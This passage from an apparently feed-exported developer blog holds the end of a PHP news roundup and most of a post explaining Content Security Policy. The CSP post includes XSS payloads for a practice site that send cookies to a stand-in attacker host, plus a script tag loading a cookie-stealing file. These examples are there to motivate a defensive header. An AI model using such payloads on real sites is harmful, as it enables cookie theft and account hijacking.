&lt;p&gt;In a pre-PHP7 world, we used to see code like this a lot:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'value'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then PHP7 brought us the null coalescing operator, allowing us to do:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'value'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now, PHP7.4 will give us:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'comments'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'user_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;??=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'value'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can read the &lt;a href=&quot;https://wiki.php.net/rfc/null_coalesce_equal_operator&quot;&gt;rfc here&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;preloading&quot;&gt;Preloading&lt;/h3&gt;

&lt;p&gt;Preloading is a performance improvement that allows loading PHP files into memory on server boot, so
they never need to be accessed or re-compiled again. This means you could load your framework
or even your entire application into memory to drastically reduce the overhead of PHP.&lt;/p&gt;

&lt;p&gt;This does come at a cost though, if you enable preloading you MUST restart your server
(php-fpm/apache) whenever files changed. This is because the files are never read from the disk again.&lt;/p&gt;

&lt;p&gt;For more information, check &lt;a href=&quot;https://wiki.php.net/rfc/preload&quot;&gt;the rfc&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;permanent-hash-extension&quot;&gt;Permanent hash extension&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/permanent_hash_ext&quot;&gt;This rfc&lt;/a&gt; proposes that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ext-hash&lt;/code&gt; extension
become permenantly availble in PHP. Since 5.1.2 it’s been bundled with PHP by default, but it was
possible to disable it. Post 7.4 it will always be enabled.&lt;/p&gt;

&lt;h3 id=&quot;password-hashing-registry&quot;&gt;Password hashing registry&lt;/h3&gt;

&lt;p&gt;Everyone has to deal with passwords at some point. So &lt;a href=&quot;https://wiki.php.net/rfc/password_registry&quot;&gt;this
rfc&lt;/a&gt; plans to make dealing with passwords in userland
hashig libraries easier to use.&lt;/p&gt;

&lt;h3 id=&quot;improve-openssl_random_psuedo_bytes&quot;&gt;Improve openssl_random_psuedo_bytes()&lt;/h3&gt;

&lt;p&gt;It’s pretty easy to generate some cryptographically secure random bytes in PHP:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;genCsrfToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bin2hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;openssl_random_pseudo_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Except, according &lt;a href=&quot;https://wiki.php.net/rfc/improve-openssl-random-pseudo-bytes&quot;&gt;the rfc&lt;/a&gt;, this code
doesn’t correctly handle errors that can sneak through from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl_random_psuedo_bytes&lt;/code&gt;
function. The correct usage looks more like this:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;genCsrfToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$strong&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;openssl_random_pseudo_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strong&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strong&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'CSPRNG error'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bin2hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which is, let’s face it, kind of gross. In a post 7.2 world, we’ll be able to safely use the first
example.&lt;/p&gt;

&lt;h2 id=&quot;framework-news&quot;&gt;Framework news&lt;/h2&gt;

&lt;h3 id=&quot;laravel-57&quot;&gt;Laravel 5.7&lt;/h3&gt;

&lt;p&gt;Laravel 5.7 &lt;a href=&quot;https://laravel-news.com/laravel-5-7-is-now-released&quot;&gt;was released&lt;/a&gt; containing a few
new features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;new directory structure&lt;/li&gt;
  &lt;li&gt;easier pagination through database records&lt;/li&gt;
  &lt;li&gt;better error messages&lt;/li&gt;
  &lt;li&gt;easier testing of artisan commands&lt;/li&gt;
  &lt;li&gt;dump server command&lt;/li&gt;
  &lt;li&gt;Better syntax for action urls&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;yii-3&quot;&gt;Yii 3&lt;/h3&gt;

&lt;p&gt;Yii 3 &lt;a href=&quot;https://github.com/yiisoft/yii-core/blob/41f358a716f46125118fdae3b5436f4e9a8f426a/UPGRADE.md&quot;&gt;was
released&lt;/a&gt;
which contains a large list of new features. My personal favourite are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PHP 7.1 minimum requirement&lt;/li&gt;
  &lt;li&gt;Using semver after version 3.0&lt;/li&gt;
  &lt;li&gt;Split the Yii repository into smaller component repositories&lt;/li&gt;
  &lt;li&gt;Supporting more PSR’s&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;symfony-42&quot;&gt;Symfony 4.2&lt;/h3&gt;

&lt;p&gt;Symfony 4.2 &lt;a href=&quot;https://symfony.com/blog/symfony-4-2-curated-new-features&quot;&gt;was released&lt;/a&gt; with an
absolute ton of changes, mainly small improvements. My personal favourites are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Auto-secure cookies&lt;/li&gt;
  &lt;li&gt;A bunch of deprecations for things you probably shouldn’t be doing&lt;/li&gt;
  &lt;li&gt;Much simpler functional tests&lt;/li&gt;
  &lt;li&gt;Easier debugging of autowiring magic&lt;/li&gt;
  &lt;li&gt;Making it easy to customise serialised names&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;wordpress-50&quot;&gt;WordPress 5.0&lt;/h3&gt;

&lt;p&gt;WordPress 5.0 &lt;a href=&quot;https://wordpress.org/news/2018/12/bebo/&quot;&gt;was released&lt;/a&gt; bringing a brand new editor
and generally making the UI much more appealing.&lt;/p&gt;

&lt;h2 id=&quot;security&quot;&gt;Security&lt;/h2&gt;

&lt;p&gt;Perhaps the most serious security vulnerability for PHP developers recently is the &lt;a href=&quot;https://arstechnica.com/information-technology/2019/01/pear-php-site-breach-lets-hackers-slip-malware-into-official-download/&quot;&gt;PEAR PHP
breach&lt;/a&gt;
in which hackers were able to compromise the pear.php.net website to upload a malicios go-pear.phar
package manager. No one is, as of yet, fully aware what the malicious version does, but some are suggesting it opens
a backdoor into a webserver, giving the hackers complete control of the system.&lt;/p&gt;

&lt;p&gt;The pear.php.net site has been shut down since the hack was discovered, but it went undiscovered for
six months, meaning there probably quite a lot off malicious versions out and still being used. The
current recommendation is to download a new phar archive from GitHub (pear/pearweb_phars) which was
unaffected.&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. The biggest news recently is the release of PHP 7.3 and development of 7.4!</summary></entry><entry><title type="html">CSP: Can See Purpose</title><link href="https://ndench.github.io/security/csp-can-see-purpose" rel="alternate" type="text/html" title="CSP: Can See Purpose" /><published>2018-10-06T00:00:00+10:00</published><updated>2018-10-06T00:00:00+10:00</updated><id>https://ndench.github.io/security/csp-can-see-purpose</id><content type="html" xml:base="https://ndench.github.io/security/csp-can-see-purpose">&lt;p&gt;What is a Content Security Policy? What problems does it solve? How can I use it to make my site
more secure? How do I implement it without breaking my site? These are the questions I’m aiming to
answer by sharing my experience of implementing a strict Content Security Policy while not breaking
anything.&lt;/p&gt;

&lt;h2 id=&quot;what-is-a-content-security-policy-csp&quot;&gt;What is a Content Security Policy (CSP)&lt;/h2&gt;

&lt;p&gt;When setting up the infrastructure for my startup, I came across
&lt;a href=&quot;https://securityheaders.com&quot;&gt;securityheaders.com&lt;/a&gt; which scans any website and ranks its security
based on which HTTP headers it returns. There are many changes you should make to your HTTP headers
to increase your security, some new headers you should add, and some you should remove. One of these
headers is the Content Security Policy.&lt;/p&gt;

&lt;h2 id=&quot;what-problems-does-it-solve&quot;&gt;What problems does it solve?&lt;/h2&gt;

&lt;p&gt;The browser will load anything it’s told, add a Content Security Policy and it wil only load
approved content. This default behaviour is the basis for many cyber attacks today, the most common
of which is an XSS (Cross Site Scripting) attack.&lt;/p&gt;

&lt;p&gt;The basics of an XSS attack is when an attacker will trick the browser into loading untrusted
content in order to attack a websites visitors. As an example, take a look at
&lt;a href=&quot;http://hack-yourself-first.com&quot;&gt;hack-yourself-first.com&lt;/a&gt; which is a great website set up by &lt;a href=&quot;https://www.troyhunt.com&quot;&gt;Troy
Hunt&lt;/a&gt; for everyone to learn how to secure their site by hacking another.&lt;/p&gt;

&lt;p&gt;Do a search on the site and you’ll see your search terms reflected back to you, and in the source 
you’ll find:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#searchTerm&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Nissan&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But, if you search for&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;');location.href='http://evilcyberhacker.com?cookies='%2BencodeURIComponent(document.cookie);//'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;the source will contain:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#searchTerm&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://evilcyberhacker.com?cookies=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;encodeURIComponent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;//');&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which means you can send the following link to a user, and they will be redirected to evilcyberhacker.com and
send along their cookies in the URL, for the attacker to find in their server logs.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://hack-yourself-first.com/Search?searchTerm=');location.href='http://evilcyberhacker.com?cookies='%2BencodeURIComponent(document.cookie);//'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only reason this attack is possible is because the browser loads and executes the inline script
tag. Another XSS attack could be adding a comment with this as the comment body:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://evilcyberhacker.com/stealcookies.js&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Wow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;What&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cool&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;website&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then when a user visits the page, the browser will automatically load and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stealcookies.js&lt;/code&gt;,
which doesn’t sound pleasant.&lt;/p&gt;

&lt;p&gt;Next up, we’ll see how we can prevent these sort of attacks with a Content Security Policy.&lt;/p&gt;

&lt;h2 id=&quot;how-will-it-make-my-site-more-secure&quot;&gt;How will it make my site more secure?&lt;/h2&gt;

&lt;p&gt;So you’re probably thinking that you can just sanitise your input and output and then you’re not
vulnerable to XSS attacks, meaning you don’t need to worry about a CSP. And you would be almost right!
Even if your site is entirely rock-solid and it’s impossible for someone to trick a browser
viewing your site into loading an untrusted script, there are still issues that a CSP will solve:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Once your site gets big enough, it’s hard to ensure that every single input/output is sanitised
correctly. Both the above examples must be sanitised in different ways, because they’re loaded in
different contexts (javascript vs. html). &lt;strong&gt;The larger your site gets, the more likely it is that
you’ll miss something, leaving your users vulnerable&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Your users will have all sorts of dodgey browser extensions installed, from free VPN’s such as
Hola to extensions that allow you to stream torrent videos while they download. These extensions
have almost unlimited access to the DOM.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A properly implemented CSP is essentially a blanket ban on not only XSS attacks, but any attack that
relies on the browser loading untrusted assets. In order for an attacker to compromise your CSP
protected site, they must first gain access to the approved sources you list in your policy.&lt;/p&gt;

&lt;p&gt;Yes, you should still write secure code and not leave XSS flaws everywhere. But adding a good CSP
closes off extra avenues of attack (such as dodgy browser extensions) and also covers your back if
you slip up and don’t sanitise some output.&lt;/p&gt;

&lt;h3 id=&quot;csp-basics&quot;&gt;CSP basics&lt;/h3&gt;

&lt;p&gt;A CSP header contains a list of “directives”, with each directive holding a list trusted sources.
Some of the common directives are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script-src&lt;/code&gt;  - where we can load javascript from&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;style-src&lt;/code&gt;   - where we can load CSS from&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;img-src&lt;/code&gt;   - where we can load images from&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;font-src&lt;/code&gt;    - where we can load fonts from&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;connect-src&lt;/code&gt; - where scripts can load urls from (ie. Fetch, XMLHttpRequest, etc)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default-src&lt;/code&gt; - applied to every directive not explicitly specified&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;block-all-mixed-content&lt;/code&gt;   - prevents assets being loaded over HTTP&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upgrade-insecure-requests&lt;/code&gt; - forces assets to be loaded over HTTPS&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;report-uri&lt;/code&gt; - a location to report all policy violations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(for a more in depth view, see the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;MDN&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;A basic CSP header looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src 'none'; script-src: 'self'; style-src: 'self'
fonts.googleapis.com; img-src: instagram.com; report-uri: example.report-uri.com/r/d/csp/enforce
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which allows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;JavaScript to be loaded only from the current host (ie. your site)&lt;/li&gt;
  &lt;li&gt;CSS to be loaded from the current host and fonts.googleapis.com&lt;/li&gt;
  &lt;li&gt;Images to be loaded only from Instagram&lt;/li&gt;
  &lt;li&gt;Everything else is not allowed to be loaded at all, not even from the current host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if anything violates this policy (ie. tries to load assets from an untrusted source), the
violation will be reported to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.report-uri.com/r/d/csp/enforce&lt;/code&gt;. You can either implement an
endpoint in your own app that accepts and saves the reports, or you can use a service such as
&lt;a href=&quot;https://report-uri.com/&quot;&gt;report-uri.com&lt;/a&gt; which is free for up to 10,000 reports per month.&lt;/p&gt;

&lt;p&gt;You could set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default-src&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'self'&lt;/code&gt;, then everything not specified would be able to be loaded
from your site, but it’s a good idea to set it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'none'&lt;/code&gt; and explicitly list each directive your
site requires.&lt;/p&gt;

&lt;p&gt;A CSP can be easy to mess up. If you make it too strict your application won’t work because it can’t
load it’s required assets. If you make it too lax, it becomes useless and you might as well not have
it. For some great examples check out &lt;a href=&quot;https://uselesscsp.com/&quot;&gt;Useless CSP&lt;/a&gt; for a list of fairly
high profile sites that did not implement their CSP correctly.&lt;/p&gt;

&lt;h3 id=&quot;csp-report-only&quot;&gt;CSP report-only&lt;/h3&gt;

&lt;p&gt;You can place your CSP in report only mode by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Security-Policy-Report-Only&lt;/code&gt; header
instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Security-Policy&lt;/code&gt;. This means the browser will raise an error in the console for
every violation and also send a report to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;report-uri&lt;/code&gt; if it’s specified. This is the key to not
breaking your site, and also to upgrading your CSP over time. This way you roll the changes into
